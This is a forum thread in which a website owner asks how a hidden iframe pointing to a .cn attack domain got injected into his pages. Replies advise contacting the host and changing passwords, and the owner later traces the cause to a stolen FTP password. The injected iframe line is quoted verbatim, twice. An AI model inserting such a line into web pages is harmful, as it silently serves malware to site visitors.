[branstyweb]

I have just had emails from google to say that 2 of my web pages have been serving malicious code. This is the second time this has happened in the last 3 weeks, both times on the home page, but on different "other" pages in the each case.
The first time I just replaced the pages on H4P with back ups from my Linux machine at home, the second time (today), I decided to try to find out more so downloaded them into a test folder again on my Linux server. Somehow the following code had been added on the first line of the body immediately after the line to set the backgound of the page.

"<iframe src="http://nameshopinternational.cn:8080/index.php" width=150 height=131 style="visibility: hidden"></iframe>"

Have any of you guru's out there any idea how this gets onto the page on the server in the first place? and just as important, how to stop it getting in again?

[Graham Maddison]

If I were you I would contact Host4Profit support.....see if they can shed any light on it.

good luck

graham

Originally Posted by branstyweb

I have just had emails from google to say that 2 of my web pages have been serving malicious code. This is the second time this has happened in the last 3 weeks, both times on the home page, but on different "other" pages in the each case.
The first time I just replaced the pages on H4P with back ups from my Linux machine at home, the second time (today), I decided to try to find out more so downloaded them into a test folder again on my Linux server. Somehow the following code had been added on the first line of the body immediately after the line to set the backgound of the page.

"<iframe src="http://nameshopinternational.cn:8080/index.php" width=150 height=131 style="visibility: hidden"></iframe>"

Have any of you guru's out there any idea how this gets onto the page on the server in the first place? and just as important, how to stop it getting in again?

[LeonEdward]

Have you added any php pages or possibly a blog?
I've had a site in the past hacked with with malicious code and an entry point for this is .php files. Of course there are other ways but host is place to start for help on this as stated by last entry. Note that blogs are notorious for entry points..

Change your password, If you do have an old acceptable index page . reload it, dont link blog , yet .. try that

again refer back to host for experts on this

[tplahav]

First delete it.

I checked the name, it is an attack site, my guess is they hacked your website. Change the PW and contact H4P.

And if you can contact google and bag them to recheck the pages.

Tanny

[branstyweb]

Thanks for the quick responses, I have contacted H4P and they are "on the case", what I can't understand is why they only attack 2 or 3 pages at a time. I will update as I get further with this.
Doddsy

[branstyweb]

Back again, it looks as if the email to H4P support was the winner, it seems that I was right about my windows machine being hacked, and my ftp password "acquired".
The malicious code was being put in place via ftp, so this was changed and so far all seems to be fine on the website front. All has now been removed, all my files checked and cleaned as required.
I am still in the process of doing a fresh install of windows XP, but am quite happy using opensuse linux for all my web access at the moment, and am not really pushing myself to get winders back up and running.
At least I can now concentrate on promoting PIPS again.
Thanks to all who replied and gave advice.

Doddsy